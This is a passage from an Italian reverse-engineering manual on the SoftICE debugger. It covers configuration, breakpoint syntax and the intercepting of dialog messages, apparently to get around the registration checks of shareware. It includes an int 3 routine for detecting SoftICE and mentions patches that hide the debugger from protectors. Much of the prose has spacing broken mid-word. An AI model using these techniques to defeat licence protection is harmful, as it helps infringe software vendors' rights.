STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "FreeMem2 - Matt Pietrek 1993"
BEGIN
LTEXT "Installed RAM:", IDT_INSTALLED_RAM, 4, 4, 90, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
LTEXT "Global Heap Total:", IDT_GLOBAL_HEAP_TOTAL, 4, 16, 100, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
LTEXT "Largest Free Heap Block:", IDT_LARGEST_FREE_GLOBAL, 112, 16, 140, 8,
WS_CHILD | WS_VISIBLE | WS_GROUP
LTEXT "Total Memory:", IDT_TOTAL_MEMORY, 4, 36, 104, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
LTEXT "Max Lockable Pages:", IDT_MAX_LOCKABLE, 4, 48, 104, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
LTEXT "Free Memory:", IDT_TOTAL_FREE, 112, 48, 90, 8, WS_CHILD | WS_VISIBLE
| WS_GROUP
LTEXT "Linear Space:", IDT_ADDRESS_SPACE, 4, 60, 104, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
LTEXT "Swap File Pages:", IDT_SWAP_FILE_PAGES, 112, 36, 90, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
Pagina 355 di 991
LTEXT "Largest Free Block:", IDT_LARGEST_FREE, 206, 60, 96, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
LTEXT "Free Linear Space:", IDT_FREE_SPACE, 112, 60, 90, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
CONTROL "DPMI / MemManInfo", 101, "button", BS_GROUPBOX | WS_CHILD |
WS_VISIBLE, 2, 26, 302, 46
DEFPUSHBUTTON "Exit", IDB_EXIT, 260, 4, 32, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
END




Pagina 356 di 991
SOFTICE


Sof t I ce deve esser e t r at t at o a par t e a causa del l e gr osse pot enzi al i t ma anche
del l e di f f i col t maggi or i r i spet t o gl i al t r i debugger .
SI st at o di sponi bi l e per di ver si si st emi oper at i vi qual i ad esempi o DOS, WI N16
e WI N32.
Pur t r oppo sot t o Wi ndows 2000 l e ver si oni esi st ent i si r i f i ut ano di i nst al l ar si
ma d al t r a par t e anche gi ust o per ch gi a pr i ma vi st a quest a ver si one di OS
sembr a di spor r e di di f f er enze che gi ust i f i cano pi enament e quest o f at t o.
Si cur ament e i sof t war e che svi l uppavano l e l or o f unzi onal i t t r ami t e chi amat a
al l e API f unzi oner anno ancor a.
I n al t r e par ol e se, ad esempi o, esegui vano un i nt er r ogazi one al f i l e di r egi st r o
medi ant e l e cal l s API ( RegQuer yVal ue ecc. ) cont i nuer anno a f unzi onar e
t r anqui l l ament e.
A l i vel l o si st emi st i co ( gest i one dei t ask, dei pr ocessi ) ci sar anno si cur ament e
di f f er enze per cui i sof t war e che agi scono a basso l i vel l o, come pot r ebbe
esser l o un Debugger , avr anno qual che pr obl ema.
SI compost o da al cuni modul i i l cui scopo, a par t e i l nucl eo pr i nci pal e,
quasi sempr e l egat o al debuggi ng di pr ogr ammi con sor gent i a di sposi zi one.
I l cuor e di SI vi ene car i cat o, i n gener e da AUTOEXEC, ed sempr e di sponi bi l e ed
at t i vabi l e con l a sempl i ce pr essi one di al cuni t ast i come ad esempi o CTRL- D che
l a combi nazi one di def aul t .
Quest a pu esser e modi f i cat a a pi acer e.
Un modul o par t i col ar e quel l o di set up che i n gener e vi ene at t i vat o al l i ni zi o
per set t ar e MOUSE e SCHEDA VI DEO.
Ri spet t o agl i al t r i pr ogr ammi descr i t t i i n quest o manual e SI non di spone di
i mmagi ni cat t ur at e i n quant o dopo l a sua compar sa di sabi l i t a i t ast i che sono
l egat i al capt ur e del l e i mmagi ni vi deo e qui ndi non per met t e di esegui r e
har dcopy.
Un pr ogr amma par t i col ar e i l l oader che cr ea al cune t abel l e, nel caso di
sor gent i di sponi bi l i , e l egge i l sof t war e i n memor i a.
Quest o l oader pu esser e anche i nut i l e anche per ch, come ho det t o pr i ma, i l
debuggi ng pu avveni r e i n qual si asi i st ant e t r ami t e l a pr essi one dei t ast i
CTRLD.
SI most r a al moment o del l at t i vazi one i l nome del modul o pr opr i et ar i o del codi ce
most r at o nel l i st ant e i n cui compar e.
Al cune vol t e l e i nf or mazi oni sono quel l e r el at i ve al suddi vi sor e del t empo di
Wi ndows.
Le opzi oni che per met t ono di set t ar e cer t i t i pi di br eakpoi nt i n gener e
per met t ono di speci f i car e l handl e del l a f i nest r a o i l nome del modul o a cui ci
si vuol e r i f er i r e.
SI di spone di mol t i comandi at t i a f or ni r e i nf or mazi oni det t agl i at e sui modul i
at t i vi .
I nol t r e al pot enza di SI , come vedr emo, l egat a ai br eakpoi nt .
Le pr i nci pal i possi bi l i t di SI sono l e seguent i .

Breakpoints in realtime legati alla lettura/scrittura nella memoria
Backtrace history
Debugging a livello simbolico e di sorgente
Ambiente che pu lavorare con debugger esistenti
Supporto completo EMM
Finestra di lavoro popup che pu comparire in qualsiasi istante
Metodologia che protegge SI da programmi che creano problemi
Possibilit di usare SI come debugger stand-alone. Questa possibilit usata
per debuggare device driver, interrupts handlers o sequenze di boot.

Sof t I ce f paur a al l e case che cr eano sof t war e dest i nat i al l e pr ot ezi oni t ant o
da aver gl i i nser i t o al l i nt er no di t al i modul i dei si st emi che cont r ol l ano l a
sua pr esenza.
Pagina 357 di 991
La paur a comunque abbast anza r el at i va i n quant o l e pot enzi al i t di SI sono
pr opor zi onal i al l e di f f i col t d uso.
SI pot r ei def i ni r l o un debugger di si st ema i nvece che di pr ogr amma.
Quando car i co un cer t o pr ogr amma sot t o Tur boDebugger o sot t o debugger Mi cr osof t
i l di sassembl at o most r at o appunt o r el at i vo a quest o.
Sof t I ce i nvece most r a i l codi ce del pr ogr amma ma non sol o.
Se i l CTRL- D che l o at t i va vi ene dat o i n un moment o i n cui i n esecuzi one un
pezzo di codi ce di qual che t ask di f f er ent e quest o vi ene most r at o nel l a por zi one
di vi deo r el at i vo al codi ce.
St essa cosa di casi per i br eakpoi nt .
Se i o abbi no ad un br eakpoi nt un cer t o t i po di messaggi o ( WM_PAI NT,
WM_I NI TDI ALOG ecc. ) l i nt er r uzi one del codi ce avver r i n occesi one di qual si asi
WM_PAI NT o WM_I NI TDI ALOG capi t at o nel si st ema e non sol o r el at i vo al pr ocesso da
noi vol ut o.
Per l i mi t ar e i pr ocessi cont r ol l at i dovr emo ut i l i zzar e ul t er i or i sel et t or i nel l a
r i ga di at t i vazi one del br eakpoi nt come ad esempi o l handl e del l a wi ndow, l I D
del TASK, l I D del pr ocesso e cos vi a.
Quest e i nf or mazi oni dovr emo r i cavar l e medi ant e l e f unzi oni i nf or mat i ve di SI
oppur e dovr emo r i cavar l e con ut i l i t i es est er ne.
Se un comando di SI gest i sce come si nt assi un handl e, un I D ecc. al l or a
si cur ament e ci sar un comando che per met t er di cer car l o e vi sual i zzar l o.
I n ogni caso l a gest i one di un debugger come quest o si cur ament e pi pot ent e di
al t r i ma anche pi compl i cat a t ant o che spesso vi ene pr ef er i t o WDASM che a
l i vel l o di t i pol ogi e di br eakpoi nt s e f unzi oni condi zi onal i meno pot ent e ma
quel l o che ha cont r ol l abi l e a vi st a con pul sant i e t ut t e l e i nf or mazi oni
vi si bi l i sono t ut t e i nser i t e i n f i nest r e most r at e a vi deo.
Con SI ci t r over emo spesso a dover r i chi eder e l a vi sual i zzazi one di i nf or mazi oni
che dovr anno esser e segnat e su f ogl i per non di ment i car e i dat i .
Quest i dat i dovr anno successi vament e esser e ut i l i zzat i i n al t r i comandi .
Le f unzi oni esegui bi l i con i l mouse sono nul l e, al meno f i no al l a ver si one 3. 25.
Anche f unzi oni di vi sual i zzazi one del l e i nf or mazi oni i n SI pi compl i cat a
r i spet t o a WDASM ed i n ogni caso sono t ut t e l egat e a sequenze di comandi
t est ual i che bi sogna dar e.
WDASM si cur ament e dar pi soddi sf azi oni i ni zi al ment e per ci si accor ge pr est o
che pi i nst abi l e.
WDASM spesso segnal a er r or i l egat i ai t hr eads o si mi l i a che sono dovut i al
compi t o si cur ament e i ngr at o che si t r ova di nanzi a cer t i pr ogr ammi di gr osse
di mensi oni .
Poi r i cor di amoci che uno i n par t i col ar modo un di sassembl at or e con f unzi oni di
debugger ment r e l al t r o un debugger pur o.
Che di f f er enza c ?
Nel pr i mo caso i l pr ogr amma vi ene pr eso ed anal i zzat o al f i ne di t ent ar e di
r i cost r ui r e i r i f er i ment i ecc.
I l secondo, i l debugger , i nvece i nt er pr et a di r et t ament e l e i st r uzi oni del
pr ogr amma che vanno al pr ocessor e senza pr i ma l egger e compl et ament e i l pr ogr amma
e senza t ent ar e di r i cost r ui r e l e symbol s t abl e.
Car i cando un pr ogr amma con WDASM
vedet e chi ar ament e che esegue
di ver se passat e su quant o ha l et t o.
Dopo l a pr i ma f ase di anal i si WDASM
ha cr eat o l e var i e t abel l e e i l
l i st at o i n assembl er .
Se ad un cer t o punt o l o si vuol e
debuggar e al l or a l o si deve l egger e
i n memor i a con l apposi t a opzi one.
Se i l pr ogr amma mol t o gr osso si
possono i ncont r ar e pr obl emi nel l a f ase di r i gener azi one del codi ce assembl er .
Le pr i me ver si oni di WDASM r i gener avano sol o i sor gent i i n assembl er e non
esegui vano un debuggi ng di nami co.
Spesso i sor gent i r i cr eat i dal l e vecchi e ver si oni di WDASM avevano un ut i l i t
educat i va i n quant o per se st essi i sor gent i non si pot evano neppur e r i compi l ar e
o per ch t r oppo gr ossi o per ch cont enevano cost r ui t t i non i dent i f i cabi l i da
WDASM.
Pagina 358 di 991
La di sassembl azi one di un pr ogr amma di 500 Kbyt es a vol t e cr eava sor gent i . ASM
di 20 Mbyt es cosa che f aceva r i der e i l compi l at or e non appena l i vedeva.
Di cevamo che SI f a paur a ai sof t war i st i che cr eano pr ot ezi oni .
I seguent i pr ot et t or i i dent i f i cano sof t i ce.

EEXE (Encrypt Exe - FZC.EXE)
HACKSTOP (WWPACK.EXE)
PROTECT! (in vari files)
GUARDIAN ANGEL (HWINFO.EXE)
EXELITE (exe-compressor polacco)
PREDATOR 666 (DCA.EXE v1.4)
DS-CRP by Dark Stalker (hi!)
SECURE v0.19 dallautore di WWPACK
ALEC v1.5 (il miglior protettore) by Random

Ma come al sol i t o f at t a l a l egge t r ovat o l i nganno.
Ogni pr ogr amma di pr ot ezi one di spone di una met odol ogi a sua per
l i dent i f i cazi one di Sof t I ce per cui esi st ono pat ch che cambi ando i l Magi cNumber
e al t r e cose per met t ono a Sof t I ce di non esser e i dent i f i cat o.
Mol t i pr ogr ammi mandano i n CRASH Sof t I ce usando l i nt er f acci a del l I NT 3 o al t r i
i nt er r upt s oscur i ( I NT01/ I CEBP, I NT06, I NT07, I NT08) .
Ad esempi o l a seguent e sequenza di i st r uzi oni per met t e di saper e se SI
i nst al l at o.

mov ebp,"BCHK"
mov ax,4
int 3
cmp ax,4
jne winice_installed

I f i l es per esegui r e l e pat chs l i t r ovat e cer cando su Ast al avi st a i l avor i f at t i
da :

Greetings from the SoftICE 3.0 (Godot) team!
Dom Basile
Wizard extraordinaire Tom Guinther
Symbol engine, loader Dan Babcock
Symbol engine Gerald Ryckman
Win95 porting & debugging Ray Hsu
Video & mouse support Carol Tyler

Sof t I ce possi ede, come ho gi det t o pr i ma, mol t i ssi mi br eakpoi nt s che possono
esser e ut i l i zzat i per di ver si scopi .
Una cosa par t i col ar e di Sof t I ce i l buf f er per i l backt r ace.
Medi ant e opzi oni dest i nat e al l a cr eazi one di br eakpoi nt possi bi l e i nser i r e
del l e i st r uzi oni i n quest o buf f er e successi vament e esegui r l e st ep by st ep.
Cer cat e su i nt er net i seguent i f i l es i qual i cost i t ui scono degl i ot t i mi manual i
l egat i a Sof t I ce.

SI-UG-~1 TXT 290.729 11/08/99 19.05 si-ug-chapter01.txt
SI-UG-~2 TXT 8.154 11/08/99 11.16 si-ug-chapter02.txt
SI-UG-~3 TXT 39.034 11/08/99 11.17 si-ug-chapter03.txt
SI-UG-~4 TXT 21.710 11/08/99 11.20 si-ug-chapter04.txt
SI2234~1 TXT 5.970 11/08/99 11.12 si-ug-chapter10.txt
SI225A~1 TXT 10.375 11/08/99 11.20 si-ug-chapter08.txt
SI2634~1 TXT 14.241 11/08/99 11.13 si-ug-chapter11.txt
SI264A~1 TXT 74.827 11/08/99 11.17 si-ug-chapter05.txt
SI265A~1 TXT 6.209 11/08/99 11.20 si-ug-chapter09.txt
SI2A34~1 TXT 28.175 11/08/99 11.09 si-ug-chapter12.txt
SI2A4A~1 TXT 14.645 11/08/99 11.09 si-ug-chapter06.txt
SI2E34~1 TXT 40.830 11/08/99 11.08 si-ug-chapter13.txt
SI2E4A~1 TXT 14.811 11/08/99 11.13 si-ug-chapter07.txt
Pagina 359 di 991

Sono 13 capi t ol i suddi vi si per ar goment azi oni .
SI di sponbe i nol t r e del l a possi bi l i t di esser e esegui t o con al t r i debugger
qual i CODEVI EWo al t r i .
Nei f i l es pr ecedent i vi ene t r at t at o anche quest o ar goment o.
Par t i amo or a dal l i ni zi o.
SI di spone di un cer t o numer o di par amet r i che per met t ono di set t ar e l ambi ent e
oper at i vo come ad esempi o i l numer o di l i nee, l a l ar ghezza del vi deo, i l t i po di
f i nest r e aper t e ecc.
I t ast i f unzi one possono esser e abbi nat i a sequenze di comandi t r ami t e f unzi oni
che possono esser e i nser i t e, i nsi eme ai comandi appena det t i , nel f i l e di
i ni zi al i zzazi one WI NI CE. DAT
I l seguent e un f i l e i n cui sono pr esent i i par amet r i i ni zi al i che uso i o.

NMI=ON
SIWVIDRANGE=ON
LOWERCASE=OFF
MOUSE=ON
NOLEDS=OFF
NOPAGE=OFF
PENTIUM=ON
THREADP=ON
VERBOSE=ON

PHYSMB=32
SYM=1024
HST=256
DRAWSIZE=2048
TRA=8

INIT="LINES 40;WIDTH 80;set FONT 3;X"

F1="h;"
F2="^wr;"
F3="^src;"
F4="^rs;"
F5="^x;"
F6="^ec;"
F7="^here;"
F8="^t;"
F9="^bpx;"
F10="^p;"
F11="^G @SS:ESP;"
F12="^p ret;"
SF3="^format;"
CF8="^XT;"
CF9="TRACE OFF;"
CF10="^XP;"
CF11="SHOW B;"
CF12="TRACE B;"
AF1="^wr;"
AF2="^wd;"
AF3="^wc;"
AF4="^ww;"
AF5="CLS;"
AF8="^XT R;"
AF11="^dd dataaddr->0;"
AF12="^dd dataaddr->4;"
CF1="altscr off; lines 60; wc 32; wd 8;"
CF2="^wr;^wd;^wc;"

EXP=C:\PROGRAMM\MAUISO~1\TIMESL~1.EXE
Pagina 360 di 991

WDMEXPORTS=ON
MONITOR=0
; WINICE.DAT
; (SIW95\WINICE.DAT)
; for use with SoftICE Version 3.2 (Windows 95)
; 14 July 1997
; *************************************************************************
; If your have MORE than 32MB of physical memory installed, change
; the PHYSMB line to the correct # of Megabytes.
; If you have LESS than 32MB you can save a bit of memory by
; specifying the correct # of Megabytes
; *************************************************************************
; ***** Examples of sym files that can be included if you have the SDK *****
; Change the path to the appropriate drive and directory
;LOAD=c:\windows\system\user.exe
;LOAD=c:\windows\system\gdi.exe
;LOAD=c:\windows\system\krnl386.exe
;LOAD=c:\windows\system\mmsystem.dll
;LOAD=c:\windows\system\win386.exe
; ***** Examples of export symbols that can be included *****
; Change the path to the appropriate drive and directory
;EXP=c:\windows\system\vga.drv
;EXP=c:\windows\system\vga.3gr
;EXP=c:\windows\system\sound.drv
;EXP=c:\windows\system\mouse.drv
;EXP=c:\windows\system\netware.drv
;EXP=c:\windows\system\system.drv
;EXP=c:\windows\system\keyboard.drv
;EXP=c:\windows\system\toolhelp.dll
;EXP=c:\windows\system\shell.dll
;EXP=c:\windows\system\commdlg.dll
;EXP=c:\windows\system\olesvr.dll
;EXP=c:\windows\system\olecli.dll
;EXP=c:\windows\system\mmsystem.dll
;EXP=c:\windows\system\winoldap.mod
;EXP=c:\windows\progman.exe
;EXP=c:\windows\drwatson.exe
; ***** Examples of export symbols that can be included for Windows 95 *****
; Change the path to the appropriate drive and directory
EXP=c:\windows\system\kernel32.dll
EXP=c:\windows\system\user32.dll
EXP=c:\windows\system\gdi32.dll
EXP=c:\windows\system\comdlg32.dll
EXP=c:\windows\system\shell32.dll
;EXP=c:\windows\system\advapi32.dll
;EXP=c:\windows\system\shell232.dll
;EXP=c:\windows\system\comctl32.dll
;EXP=c:\windows\system\crtdll.dll
;EXP=c:\windows\system\version.dll
;EXP=c:\windows\system\netlib32.dll
;EXP=c:\windows\system\msshrui.dll
;EXP=c:\windows\system\msnet32.dll
;EXP=c:\windows\system\mspwl32.dll
;EXP=c:\windows\system\mpr.dll

Una par t e di SI vi ene l et t a medi ant e l i nea di comando oppur e i nser endo
l i st r uzi one che l o l anci a dent r o al l aut oexec. bat .
Pr emendo CTRL- D, se non sono st at i cambi at i i t ast i , vi ene at t i vat a l a f i nest r a
i n cui compai ono i dat i .
Quest o pu avveni r e i n qual si asi i st ant e.
Pagina 361 di 991
Se si vuol e l egger e i l
codi ce di un pr ogr amma
possi bi l e f ar l o dal
pr ogr amma :

C: \ Pr ogr ammi \ NuMega\ So
f t I ce95\ l oader 32. exe

Loader 32 most r a l a
seguent e f i nest r a.
Bi sogna sempr e t ener
pr esent e che SI
per met t e di debuggar e
anche pr ogr ammi con i
sor gent i a
di sposi zi one anche se
nel nost r o caso quest a
possi bi l i t non si
ver i f i ca mai .
Quest o er a per di r e
che mol t e f unzi oni
di sponi bi l i nei menu
del l oader sono r el at i vi a pr ogr ammi che di spongono dei sor gent i .
Lo scopo del l oader f ondament al ment e quel l o di t r asf or mar e i l pr ogr amma i n
i nf or mazi oni si mbol i che.
Noi l o ut i l i zzer emo f ondament al ment e per l egger e i l pr ogr amma i n memor i a t r ami t e
i l secondo pul sant e del l a t ool bar .
I comandi i nser i t i dent r o ai t ast i f unzi one possono esser e set t at i t r ami t e
apposi t o comando.
Quest o l o st esso che per met t e di vi sual i zzar e i l set t aggi o at t ual e.

FKEY

Li st a i comandi .
Possono esser e set t at i anche i t ast i f unzi one con i var i SHI FT, CTRL, ALT ecc.
I l set t aggi o avvi ene con :

FKEY tasto Fx funzione

La pi gr ossa pot enzi al i t di SI comunque r i mangono i br eakpoi nt s.
SI di spone di beakpoi nt che gener al ment e sono di sponi bi l i sol t ant o i n debugger
har dwar e.
Per f ar e quest o vengono sf r ut t at e del l e pot enzi al i t dei chi p 80386 e f r at el l i
maggi or i .
Possono esser e set t at i br eakpoi nt su l et t ur e e scr i t t ur e i n memor i a, esecuzi one
di i nt er r upt s, l et t ur a e scr i t t ur a di por t e di I / O ecc.
Ogni br eakpoi nt vi ene, una vol t a cr eat o, i dent i f i cat o da un numer o i l qual e
pot r esser e ut i l i zzat o nel l e var i e f unzi oni adat t e ad at t i var l o e a
di sat t i var l o, a cancel l ar l o o a modi f i car l o.
I l numer o massi mo di 16 br eakpoi nt cont empor aneament e.
Br eakpoi nt speci f i ci ad i ndi r i zzi par t i col ar i possono esser e set t at i
sempl i cement e cl i ckando sul l a l i nea di pr ogr amma i nt er essat o o speci f i cando
l i ndi r i zzo del l a l i nea come ar goment o del comando di cr eazi one.
I br eakpoi nt s possono esser e abbi nat i ad un cont at or e che di ce quant e vol t e i l
br eakpoi nt deve esser e i gnor at o pr i ma di esser e consi der at o ( count ) .
I l pr i mo comando per l a cr eazi one d br eakpoi nt :

BPM[SIZE]address[verb][qualifier value][C=count]
BPMW
BPMD
BPMB

Pagina 362 di 991
La SI ZE o di mensi one pu esser e ( B) yt e, ( W) or d, ( D) oubl ewor d.
Quest o par amet r o ser ve ad i ndi car e i l r ange coper t o dal br eakpoi nt .
Se ad esempi o vi ene usat o i l ( D) oubl ewor d e i l t er zo byt e del l doubl ewor d vi ene
modi f i cat o al l or a i l br eakpoi nt vi ene at t i vat o.
I VERB sono l e oper azi oni di l et t ur a, scr i t t ur a ecc. e pr eci sament e:

R, RW, W o X

I QUALI FI ER sono :

(EQ)ual, (NE)not equal, (GT)greater than, (LT)less than, (M)ask

I l VALUE i nvece l a wor d, i l byt e ecc. a seconda del l a SI ZE.
Quest o comando vi ene appunt o ut i l i zzat o per i l set t aggi o di beakpoi nt l egat i a
l et t ur e, scr i t t ur e o esecuzi oni di memor i a.
I l VERB X, per chi conosce Uni x sa che X st per esecuzi one, per met t e di
bl occar e i l pr ogr amma quando vi ene esegui t a qual che i st r uzi one pr esent e ad un
cer t o i ndi r i zzo.
Nor mal ment e CS: I P punt ano al l i st r uzi one successi va a quel l a esegui t a.
Se vi ene ut i l i zzat o i l VERB X al l or a CS: I P punt ano al l i st r uzi one che ha
gener at o i l BP.
Guar dat e i l seguent e esempi o:

BPM 0040:SI W EQ 10 C=3

Si t r at t a di un BP l egat o al l accesso i n memor i a.
La t er za vol t a che i l val or e 10 vi ene scr i t t o nel l a l ocazi one 0040: SI f a
gener ar e i l BP.
Un al t r o sempi o.

BPM CS:1234 X

La pr i ma vol t a che vi ene r aggi unt o i n esecuzi one l i ndi r i zzo cs: 1234 f a bl occar e
i l pr ogr amma sul BP.
Un al t r o esempi o ut i l i zzat e l a MASK.

BPMW DS:F00 W E M 0XXX XXXX XXXX XXX1

Si t r at t a di un BP di si ze set t at a a W( wor d br eakpoi nt ) l egat o al l aq scr i t t ur a
i n memor i a.
I l BP i nt er vi ene l a pr i ma vol t a che l a l ocazi one CS: F00 ha un val or e scr i t t o i l
qual e set t a i l bi t di or di ne maggi or e a 0 e quel l o di or di ne mi nor e a 1.
Gl i al t r i bi t s possono esser e qual si asi val or e.
Vol endo set t ar e un BP i n modo t al e che i l pr ogr amma si i nt er r ompa l a pr i ma vol t a
che ad un cer t o i ndi r i zzo vi ene scr i t t o un val or e maggi or e di 5, dobbi amo
speci f i car e i l seguent e comando :

BPM DS:1000 W GT 5

Un f ami gl i a di comandi per met t e i nvece di speci f i car e dei r ange di i ndi r i zzi .
Lo st er eot i po di quest i comandi :

BPR start-address end-address [verb] [C=count]

COUNT come nei casi pr ecedent i i ndi ca dopo qant e vol t e deve esser e at t i vat o i l
BP.
I l VERB pu esser e :

(R)ead, (W)rite o (RW)read/write

Pagina 363 di 991
Due par amet r i aggi unt i vi sono T e TWi qual i , se speci f i cat i , non f anno esegui r e
i l BP ma abi l i t ano i l BACKTRACE sul r ange speci f i cat o.

BPR B000:0 B000:1000 W

I l pr ecedent e esempi o abi l i t a i l BP se vi ene esegui t a l a scr i t t ur a nel buf f er
del vi deo monocr omat i co.
SI pu col l ezi onar e l e i nf or mazi oni r el at i ve al l e i st r uzi oni i n un backt r ace
buf f er .
Quest o possi bi l i t per met t e di esegui r e a r i t r oso del l e i st r uzi oni pr ecedent i ad
un BP.
I l r ange pu var i ar e da un byt e ad 1 Mbyt es.
Ri cor dat evi che quest a possi bi l i t degr ada l e pr est azi oni i n mi sur a t ant o
maggi or e quant o maggi or e i l r ange speci f i cat o.
Un esempi o per i nser i r e nel backt r ace buf f er i l seguent e :

BPR 1000:0 2000:0 T

Al t r i BP possono esser e set t at i su por t e di I / O.

BPIO port [verb] [qualifier value] [C=count]

I l VERB pu esser e ( R) ead, ( W) r i t e o ( RW) r ead/ wr i t e.
I l QUALI FI ER pu i nvece esser e come nel caso del t i po di BP pr ecedent i :

(EQ)ual, (NE)not equal, (GT)greater than, (LT)less than, (M)ask

Un esempi o pu esser e :

BPIO 21 W NE FF

BP i n scr i t t ur a sul l a por t a 21 se i l val or e NON E UGUALE a FF.
Anche per gl i i nt er r upt s possono esser e set t at i br eakpoi nt s speci f i ci .
La si nt assi :

BPINT int-number [<AL|AH|AX>=value][C=count]

Un esempi o che set t a un BP sul l I NT 21 con AH=4C ( r i cor dat e che nel caso
del l i nt del DOS 21h AH cont i ene i l codi ce del ser vi zi o) i l seguent e.

BPINT 21 AH=4C

BPX i nvece per met t e di set t ar e BP i n esecuzi one.

BPX address [C=count]

SI quando vi ene at t i vat o cr ea del l e t abel l e con gl i i ndi r i zzi del l e f unzi oni
i mpor t at e.
Ad esempi o se dat e i l comando EXP i n SI avr et e l a l i st a del l e f unzi oni
expor t at e.
Quest a l i st a ha l a seguent e par venza :

0045:1234 GETDLGITEMTEXT 0056:8900 FATALEXIT
0034:3333 GETWNTEXT 0456:9999 ANOTHERFUNCT
....

Come pot et e veder e SI vi most r a l e f unzi oni abbi nat e ad i ndi r i zzi .
Se desi der at e bl occar e i l pr ogr amma ogni vol t a che vi ene r i chi mat a l a f unzi one
Get Dl gI t emText pot et e speci f i car e l i ndi r i zzo segnat o a f i anco, dopo aver l o
vi st o con EXP, oppur e pot et e speci f i car l o i n modo si mbol i co con i l comando :
Pagina 364 di 991

BPX GetDlgItemText

SI user l i ndi r i zzo abbi nat o.
Chi ar ament e i l si mbol o deve
esi st er e se non vi vi ene
segnal at o un messaggi o di symbol
not def i ned.
Par l ando di Wi ndows esi st ono
anche messaggi che pot et e l i st ar e
medi ant e i l comando :

WMSG

Se vol et e i nser i r e un br eakpoi nt
su un cer t o messaggi o pot et e
usar e i l comando :

BMSG WM_INITDIALOG

I l car at t er e j ol l y * pu esser e
usat o nel comando di l i st a
messaggi come l o user est e con i l
dos f acendo una di r .

WMSG WM_S*

I l pr ecedent e esempi o vi
l i st er ebbe t ut t i i messaggi che
i ni zi ano con WM_S.
I l comando BMSG possi ede l a possi bi l i t di speci f i car e anche l handl e del l a
f i nest r a su cui i ndi r i zzat o i l messaggi o.
I l comando HWND l i st a gl i handl oe del l e f i nest r e del pr ogr amma.
Speci f i cando

BMSG WM_INITDIALOG

Si r i chi ede di
bl occar e i l pr ogr amma
t ut t e l e vol t e che
vi ene chi amat o un
WM_I NI TDI ALOG
i ndi pendent ement e
dal l a f i nest r a.
Se con i l comando HWND
si r i esce ad
i dent i f i car e l a
f i nest r a i nt er essat a
possi bi l e speci f i car e
quel val or e come
par amet r o.
Supponi amo che nel
si st ema si a i n
esecuzi one l a f i nest r a
most r at a qui a f i anco
appar t enet e ad un
pr ogr amma shar ewar e
di st r i bui t o da mol t e
r i vi st e nazi onal i .
Pagina 365 di 991
SI a segui t o del cmando HWND most r a i seguent i dat i :

Window handle hQueue SZ qOwner Class name Window-proc.
0080 196F 32 COMEXPL ComboBox 140F:000045678
0086 19F6 32 COMEXPL #32700Dialog 140F:000034344

Se gr azi e a qOwner e a cl ass- name r i usci t e a i dent i f i car e l a di al og che vi
i nt er essa pot et e dar e:

BMSG 0080 WM_INITDIALOG

I n quest o modo i nt er cet t at e i l messaggi o di I NI TDI ALOG i ndi r i zzat o a quel l a
di al og speci f i ca.
Non r i uscendo t r ami t e HWND pot et e posi zi onar vi sul l a di al og con i l cur sor e
movi bi l e di Spy++ e r i cavar ne l handl e.
Le i nf or mazi oni necessar i e per set t ar e i l BP vengono most r at e i n Spy++ ( a par t e
i l f at t o che a noi i nt er essa i n par t i col ar modo l a pr i ma ovver o quel l a a f i anco
a Wi ndow) .
La si nt assi del BP che per met t e di i nt er cet t ar e i messaggi i ndi r i zzat i ad una
wi ndow :

BMSG hwnd [L] [begin msg [end msg]] [IF expression]

E possi bi l e i nt er cet t ar e t ut t i i messaggi i ndi r i zzat i ad una wi ndow
speci f i cando sol o l handl e del l a f i nest r a, quel l o vi st o con Spy++ o r i nt r acci at o
con i l comandeo WMSG.
Chi ar ament e debuggar e i l pr ogr amma con un br eakpoi nt su una f i nest r a senza
f i l t r ar e i messaggi di vent a pr obl emat i ca vi st o che i l t ut t o si i nt er r omper ebbe
i n ogni i st ant e a segui t o di WM_PAI NT, WM_ERASEBKGND ecc.
I nol t r e l a cancel l azi one del l a cl i ent ar ea del pr ogr amma gr azi e al l a compar sa
del debugger cr eer ebbe messaggi a cat ena per cui sar ebbe megl i o sel ezi onar e
qual i messaggi i nt er cet t ar e.
Non sapendo qual i sono quel l i i nvi at i al l a f i nest r a si pot r ebbe f ar e un ci cl o
per veder e qual i sono gener at i sul l a f i nest r a e successi vament e abi l i t ar e sol o i
br eakpoi nt sui messaggi pi i nt er essant i .
Quando si usa Spy++ ci si deve r i cor dar e che anche possi bi l e cer car e di aver e
gl i handl e del l e wi ndows i nser i t e nel l a di al og st essa come ad esempi o quel l i dei
campi d edi t .
I n al t r e par ol e pot r ei cer car e gl i I D dei campi d edi t e usar e come br eakpoi nt
quest i .
I n quest o modo avr ei l a possi bi l i t di veder e se esi st ono messaggi speci f i ci
l egat i a quest i campi .
I n caso negat i vo pot r ei ampl i ar e successi vament e i l campo cer cando di
i nt er cet t ar e i messaggi i ndi r i zzat i a t ut t a l a di al og.
Quando non esi st ono messaggi come Get Dl gI t emText o Get Dl gI t emI nt f aci l e che l a
l et t ur a dei campi avvenga con l i nt er cet t azi one dei messaggi WM_GETTEXT.
Per cui , supponendo che l handl e del campo d edi t si a 0BC4, possi bi l e set t ar e
un br eakpoi nt con :

BMSG 0BC4 WM_GETTEXT

Con i br eakpoi nt s bi sogna r i cor dar si che l i ndi r i zzo pu esser e speci f i cat o i n
modo di nami co sempl i cement e usando i l r egi st r o punt at or e al l i st r uzi one EI P.
I n al t r e par ol e i nvece di usar e un i ndi r i zzo f i sso, bpx 0040f f f f , possi bi l e
usar e ei p, magar i con qual che condi zi one.

BPX EIP IF(EAX==25)

Un par t i col ar e t i po di BP per met t e di i nt er r omper e l esecuzi one se i l val or e di
CS: I P esce dal r ange speci f i cat o.
La si nt assi :
Pagina 366 di 991

CSIP [OFF| [NOT] start-address end-address]

Se ad esempi o vogl i amo bl occar e l esecuzi one se l i ndi r i zzo i n esecuzi one non
dent r o al ROM BI OS :

CSIP NOT F000:0 FFFF:0

I comandi per i l l i st i ng, l abi l i t azi one e l a di sabi l i t azi one dei BP l a pot et e
t r ovar e al l i ni zi o quando ho r i ppor t at o l a l i st a comandi di SI .

